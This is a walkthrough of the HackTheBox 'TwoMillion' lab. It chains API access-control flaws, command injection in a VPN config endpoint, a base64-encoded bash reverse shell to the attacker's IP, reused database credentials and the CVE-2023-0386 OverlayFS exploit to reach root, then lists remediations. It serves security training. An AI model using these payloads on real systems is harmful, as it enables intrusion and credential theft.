TwoMillion

Platform : HackTheBox
Type : boot2root
Difficulty : ⭐⭐☆☆☆

Table of contents

Reconnaissance

Nmap scan

# Nmap 7.93 scan initiated Fri Dec 15 16:08:55 2023 as: nmap -A -p- -oN nmapResults.txt -T5 -v 10.129.229.66
Nmap scan report for 10.129.229.66
Host is up (0.026s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3eea454bc5d16d6fe2d4d13b0a3da94f (ECDSA)
|_  256 64cc75de4ae6a5b473eb3f1bcfb4e394 (ED25519)
80/tcp open  http    nginx
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://2million.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Dec 15 16:09:14 2023 -- 1 IP address (1 host up) scanned in 18.95 seconds

We can see on the nmap scan that the web server redirects us to http://2million.htb/ virtual host. We need to add it to our /etc/hosts file :

┌──(kali㉿kali)-[~/…/HackTheBox/CTF/Easy/TwoMillion]
└─$ sudo nano /etc/hosts
                                                                                                                                                                     
┌──(kali㉿kali)-[~/…/HackTheBox/CTF/Easy/TwoMillion]
└─$ cat /etc/hosts                                                                
127.0.0.1       localhost
127.0.1.1       kali
::1             localhost ip6-localhost ip6-loopback
ff02::1         ip6-allnodes
ff02::2         ip6-allrouters

10.129.123.227  2million.htb

Web reconnaissance

When navigating to the web application on port using a web browser, we can see in the menu bar that we can register a new account (« join ») and login :

To find more pages or directories, we can use a fuzzing tool like Gobuster :

===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://2million.htb/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] Exclude Length:          162
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2023/12/15 16:16:37 Starting gobuster in directory enumeration mode
===============================================================
/home                 (Status: 302) [Size: 0] [--> /]
/login                (Status: 200) [Size: 3704]
/register             (Status: 200) [Size: 4527]
/api                  (Status: 401) [Size: 0]
/logout               (Status: 302) [Size: 0] [--> /]
/404                  (Status: 200) [Size: 1674]
/0404                 (Status: 200) [Size: 1674]
/invite               (Status: 200) [Size: 3859]
Progress: 26952 / 220561 (12.22%)

There is an api at /api. Also, we discovered an invite route. When navigating to /register, we can notice an invite code is necessary in order to create a new account. The invite page also asks for an invite code :

When capturing the traffic using BurpSuite when entering an invite code and clicking on sign up, a request is sent to http://2million.htb/api/v1/invite/verify :

Request

Response

POST /api/v1/invite/verify HTTP/1.1
Host: 2million.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 9
Origin: http://2million.htb
Connection: keep-alive
Referer: http://2million.htb/invite
Cookie: PHPSESSID=50rar7ko1k3psmc289t8or63fb
Priority: u=0

code=test
HTTP/1.1 200 OK
Server: nginx
Date: Wed, 15 Oct 2025 16:33:23 GMT
Content-Type: application/json
Connection: keep-alive
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 67

{
  "0":400,
  "success":0,
  "error":{
    "message":"Invite code is invalid!"
  }
}

We can try to fuzz /api/v1/invite to see if there are other routes that could be exploited :

===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://2million.htb/api/v1/invite/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] Exclude Length:          162
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2023/12/15 16:26:25 Starting gobuster in directory enumeration mode
===============================================================
/verify               (Status: 405) [Size: 0]
/generate             (Status: 405) [Size: 0]
Progress: 20667 / 220561 (9.37%)

Initial access

Obtaining a valid invite code

The endpoint /generate was discovered, and it responded with code 405 (Method not allowed), which is a good sign since it did not responded with 401 (Forbidden) or 403 (Unauthorized). This endpoint may be used to generate new invite codes. We can try to send a POST request to this endpoint to see what response we get :

┌──(kali㉿kali)-[~/…/HackTheBox/CTF/Easy/TwoMillion]
└─$ curl http://2million.htb/api/v1/invite/generate -X POST                
{"0":200,"success":1,"data":{"code":"VUNNMUktU05HRjMtRlhSTkEtOEs4SUg=","format":"encoded"}}

┌──(kali㉿kali)-[~/…/HackTheBox/CTF/Easy/TwoMillion]
└─$ echo 'VUNNMUktU05HRjMtRlhSTkEtOEs4SUg=' | base64 -d
UCM1I-SNGF3-FXRNA-8K8IH

We got a successful response and got an invite code encoded in base64. The problem here is the fact that there is no access control, letting any unauthenticated user generate an invite code that can later be used to register a new account.

Obtaining admin access to the API

After creating an account using the invite code we retrieved from the API and logging in, we can get a list of available endpoints on the API by sending a GET request to http://2million.htb/api/v1 :

┌──(kali㉿kali)-[~/…/HackTheBox/CTF/Easy/TwoMillion]
└─$ curl http://2million.htb/api/v1 -H "Cookie: PHPSESSID=50rar7ko1k3psmc289t8or63fb" | jq
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   800    0   800    0     0  13056      0 --:--:-- --:--:-- --:--:-- 13114
{
  "v1": {
    "user": {
      "GET": {
        "/api/v1": "Route List",
        "/api/v1/invite/how/to/generate": "Instructions on invite code generation",
        "/api/v1/invite/generate": "Generate invite code",
        "/api/v1/invite/verify": "Verify invite code",
        "/api/v1/user/auth": "Check if user is authenticated",
        "/api/v1/user/vpn/generate": "Generate a new VPN configuration",
        "/api/v1/user/vpn/regenerate": "Regenerate VPN configuration",
        "/api/v1/user/vpn/download": "Download OVPN file"
      },
      "POST": {
        "/api/v1/user/register": "Register a new user",
        "/api/v1/user/login": "Login with existing user"
      }
    },
    "admin": {
      "GET": {
        "/api/v1/admin/auth": "Check if user is admin"
      },
      "POST": {
        "/api/v1/admin/vpn/generate": "Generate VPN for specific user"
      },
      "PUT": {
        "/api/v1/admin/settings/update": "Update user settings"
      }
    }
  }
}

There are multiple admin endpoints that could be useful for an attacker. By testing those routes for broken access control, we can notice that /api/v1/admin/settings/update does not check if the user has the admin role :

┌──(kali㉿kali)-[~/…/HackTheBox/CTF/Easy/TwoMillion]
└─$ curl http://2million.htb/api/v1/admin/settings/update -H "Cookie: PHPSESSID=50rar7ko1k3psmc289t8or63fb" -X PUT -H "Content-Type: application/json"
{"status":"danger","message":"Missing parameter: email"}

┌──(kali㉿kali)-[~/…/HackTheBox/CTF/Easy/TwoMillion]
└─$ curl http://2million.htb/api/v1/admin/settings/update -H "Cookie: PHPSESSID=50rar7ko1k3psmc289t8or63fb" -X PUT -H "Content-Type: application/json" -d '{"email":"test@test.test"}'
{"status":"danger","message":"Missing parameter: is_admin"}

The server asks for the is_admin parameter, which is a good sign for an attacker. This means we could be able to update our own profile and give us the admin role :

┌──(kali㉿kali)-[~/…/HackTheBox/CTF/Easy/TwoMillion]
└─$ curl http://2million.htb/api/v1/admin/settings/update -H "Cookie: PHPSESSID=50rar7ko1k3psmc289t8or63fb" -X PUT -H "Content-Type: application/json" -d '{"email":"test@test.test", "is_admin":1}' 
{"id":13,"username":"test","is_admin":1}

Now, we can check if we have the admin role by sending a GET request to /api/v1/admin/auth :

┌──(kali㉿kali)-[~/…/HackTheBox/CTF/Easy/TwoMillion]
└─$ curl http://2million.htb/api/v1/admin/auth -H "Cookie: PHPSESSID=50rar7ko1k3psmc289t8or63fb" 
{"message":true}

We have now admin access to the API.

OS Command Injection

Since we have now admin access to the API, we can try to send a POST request to /api/v1/admin/vpn/generate and see how the server uses our input :

┌──(kali㉿kali)-[~/…/HackTheBox/CTF/Easy/TwoMillion]
└─$ curl http://2million.htb/api/v1/admin/vpn/generate -H "Cookie: PHPSESSID=50rar7ko1k3psmc289t8or63fb" -X POST -H "Content-Type: application/json" -d '{"username":"test"}'
client
dev tun
proto udp
remote edge-eu-free-1.2million.htb 1337
<SNIP>
        Subject: C=GB, ST=London, L=London, O=test, CN=test

The server uses the username to generate an OpenVPN config file. In the response, we can see the subject is set to the username we send to the API. The username may be used in a command line when generating the certificate, so we can try to inject an arbitrary command :

┌──(kali㉿kali)-[~/…/HackTheBox/CTF/Easy/TwoMillion]
└─$ curl http://2million.htb/api/v1/admin/vpn/generate -H "Cookie: PHPSESSID=50rar7ko1k3psmc289t8or63fb" -X POST -H "Content-Type: application/json" -d '{"username":";id;#"}'    
uid=33(www-data) gid=33(www-data) groups=33(www-data)

We successfully injected the id command, and we see the server is running as www-data. This vulnerability can be exploited to execute a reverse shell and obtain a foothold on the target system. First, we need to start a listener :

┌──(kali㉿kali)-[~/…/HackTheBox/CTF/Easy/TwoMillion]
└─$ nc -lnvp 4444
listening on [any] 4444 ...

Then, exploit the command injection to execute a reverse shell :

┌──(kali㉿kali)-[~/…/HackTheBox/CTF/Easy/TwoMillion]
└─$ curl http://2million.htb/api/v1/admin/vpn/generate -H "Cookie: PHPSESSID=50rar7ko1k3psmc289t8or63fb" -X POST -H "Content-Type: application/json" -d '{"username":";echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE1LjI1LzQ0NDQgMD4mMQ==|base64 -d|bash;#"}'

We should have received a connection on our netcat listener :

┌──(kali㉿kali)-[~/…/HackTheBox/CTF/Easy/TwoMillion]
└─$ nc -lnvp 4444
listening on [any] 4444 ...
connect to [10.10.15.25] from (UNKNOWN) [10.129.123.227] 42490
bash: cannot set terminal process group (1095): Inappropriate ioctl for device
bash: no job control in this shell
www-data@2million:~/html$

The server successfully executed our payload and we have now access to the server as www-data.

Post-exploitation

Local reconnaissance

In the /home directory, there is an admin directory, indicating the presence of a local user account named admin :

www-data@2million:~/html$ ls -la /home
ls -la /home
total 12
drwxr-xr-x  3 root  root  4096 Jun  6  2023 .
drwxr-xr-x 19 root  root  4096 Jun  6  2023 ..
drwxr-xr-x  4 admin admin 4096 Jun  6  2023 admin

We have read access to it. In /var/www/html, there is a .env file, which contains environment variables used by the web server. This may contain database credentials :

www-data@2million:~/html$ cat .env
cat .env
DB_HOST=127.0.0.1
DB_DATABASE=htb_prod
DB_USERNAME=admin
DB_PASSWORD=SuperDuperPass123

Bingo ! We have the password for the database, but we can also notice the username used for it is the same as the local user account we found previously. Let’s check if the same password was used for the two accounts :

┌──(kali㉿kali)-[~/…/HackTheBox/CTF/Easy/TwoMillion]
└─$ ssh admin@2million.htb          
The authenticity of host '2million.htb (10.129.123.227)' can't be established.
ED25519 key fingerprint is SHA256:TgNhCKF6jUX7MG8TC01/MUj/+u0EBasUVsdSQMHdyfY.
This host key is known by the following other names/addresses:
    ~/.ssh/known_hosts:56: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '2million.htb' (ED25519) to the list of known hosts.
admin@2million.htb's password: 
Welcome to Ubuntu 22.04.2 LTS (GNU/Linux 5.15.70-051570-generic x86_64)

<SNIP>
admin@2million:~$

Local reconnaissance (admin)

By listing files and directories owned by admin, we find one interesting path :

admin@2million:~$ find / -user admin 2>/dev/null | grep -Ev '^(/sys|/proc|/run)'
/home/admin
/home/admin/.cache
/home/admin/.cache/motd.legal-displayed
/home/admin/.ssh
/home/admin/.profile
/home/admin/.bash_logout
/home/admin/.bashrc
/var/mail/admin
/dev/pts/1
/dev/pts/0

We can access our mail inbox at /var/mail/admin :

admin@2million:~$ cat /var/mail/admin 
From: ch4p <ch4p@2million.htb>
To: admin <admin@2million.htb>
Cc: g0blin <g0blin@2million.htb>
Subject: Urgent: Patch System OS
Date: Tue, 1 June 2023 10:45:22 -0700
Message-ID: <9876543210@2million.htb>
X-Mailer: ThunderMail Pro 5.2

Hey admin,

I'm know you're working as fast as you can to do the DB migration. While we're partially down, can you also upgrade the OS on our web host? There have been a few serious Linux kernel CVEs already this year. That one in OverlayFS / FUSE looks nasty. We can't get popped by that.

HTB Godfather

This mail indicates the current kernel version is affected by a vulnerability related to OverlayFS. Let’s see what kernel version is currently used :

admin@2million:~$ uname -r
5.15.70-051570-generic

By searching for CVEs affecting OverlayFS on this version of the Linux kernel, I came across CVE-2023-0386 :

I made a video explaining this vulnerability in details here : https://www.youtube.com/watch?v=cLdPiCB_jQo.

In the « Known Affected Software Configurations » section, we can see it affects Linux kernel 5.11 to 5.15.91 on Ubuntu 22.04.*, which matches the configuration of the target system.

Privilege escalation (root)

To exploit CVE-2023-0386, we can clone https://github.com/sxlmnwb/CVE-2023-0386.git, zip it, and host it on a web server :

┌──(kali㉿kali)-[~/…/HackTheBox/CTF/Easy/TwoMillion]
└─$ zip CVE-2023-0386.zip CVE-2023-0386 -r
  adding: CVE-2023-0386/ (stored 0%)
<SNIP>

┌──(kali㉿kali)-[~/…/HackTheBox/CTF/Easy/TwoMillion]
└─$ python3 -m http.server 80                                                   
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Then, we can download it on the target system, unzip it, and compile it :

admin@2million:~$ wget 10.10.15.25/CVE-2023-0386.zip
--2025-10-15 18:01:51--  http://10.10.15.25/CVE-2023-0386.zip
Connecting to 10.10.15.25:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 43352 (42K) [application/zip]
Saving to: ‘CVE-2023-0386.zip’

CVE-2023-0386.zip                         100%[==================================================================================>]  42.34K  --.-KB/s    in 0.06s   

2025-10-15 18:01:51 (701 KB/s) - ‘CVE-2023-0386.zip’ saved [43352/43352]

admin@2million:~$ unzip CVE-2023-0386.zip 
Archive:  CVE-2023-0386.zip
   creating: CVE-2023-0386/
<SNIP>
admin@2million:~$ cd CVE-2023-0386/
admin@2million:~/CVE-2023-0386$ make all
gcc fuse.c -o fuse -D_FILE_OFFSET_BITS=64 -static -pthread -lfuse -ldl
<SNIP>
/usr/bin/ld: /usr/lib/gcc/x86_64-linux-gnu/11/../../../x86_64-linux-gnu/libfuse.a(fuse.o): in function `fuse_new_common':
(.text+0xaf4e): warning: Using 'dlopen' in statically linked applications requires at runtime the shared libraries from the glibc version used for linking
gcc -o exp exp.c -lcap
gcc -o gc getshell.c

Now, that everything is set up, we can run ./fuse ./ovlcap/lower ./gc in the first terminal :

admin@2million:~/CVE-2023-0386$ ./fuse ./ovlcap/lower ./gc
[+] len of gc: 0x3ee0

In a second terminal, we can login again via SSH and execute ./exp :

┌──(kali㉿kali)-[~/…/HackTheBox/CTF/Easy/TwoMillion]
└─$ ssh admin@2million.htb          
<SNIP>
admin@2million:~$ cd CVE-2023-0386/
admin@2million:~/CVE-2023-0386$ ./exp 
uid:1000 gid:1000
[+] mount success
total 8
drwxrwxr-x 1 root   root     4096 Oct 15 18:04 .
drwxrwxr-x 6 root   root     4096 Oct 15 18:04 ..
-rwsrwxrwx 1 nobody nogroup 16096 Jan  1  1970 file
[+] exploit success!
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

root@2million:~/CVE-2023-0386# id
uid=0(root) gid=0(root) groups=0(root),1000(admin)

Our UID is now 0, which means we have root access to the target system.

Clearing tracks

StepTracks to remove
Post-exploitation – Privilege escalation (root)– Remove files from the OverlayFS exploit
Post-exploitation – Local enumeration– Remove linpeas.sh and pspy64 from /tmp
Initial access – Retrieving a valid invite code– Remove the user account created on the website

Vulnerabilities summary

Improper Access Control

FieldValue
Affected componentWeb API
CVSS 3.0 score7.3 (High)
CVSS 3.0 vectoreAV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
ImpactAllows an attacker to generate a valid invitation code. Also, it allows an authenticated attacker to give himself administrative privileges on the API.

This has a low impact on the confidentialityintegrity and availability of the affected component.
Remediation propositionSet up proper access control to avoid unauthorized user to gain a privileged access to the API.

OS Command Injection

FieldValue
Affected componentWeb API
CVSS 3.0 score7.2 (High)
CVSS 3.0 vectorAV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
ImpactAllows an attacker to execute arbitrary system commands as www-data. This can lead the attacker to gain a foothold on the system.

This has a high impact on the confidentialityintegrity and availability of the affected component.
Remediation propositionSanitize the username parameter sent by the user in the POST request sent to /api/v1/admin/vpn/generate.

CVE-2023-0386 (OverlayFS)

FieldValue
Affected componentLinux kernel
CVSS 3.0 score7.8 (High)
CVSS 3.0 vectorAV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
ImpactAllows an attacker to escalate his privileges leading to the compromission of the root account.

This has a high impact on the confidentialityavailability and integrity of the affected component.
Remediation propositionUpdate the system using sudo apt update and sudo apt upgrade to install a patched version of the linux kernel.

Tools used

ToolPurpose
Nmap– Scan for open ports- Scan services versions
Gobuster– Fuzz virtual hosts
BurpSuite– Analyse and modify requests sent to the web server
Revshells.com– Generate payloads for reverse shells
Netcat– Handle reverse shell connections

Sources

Retour en haut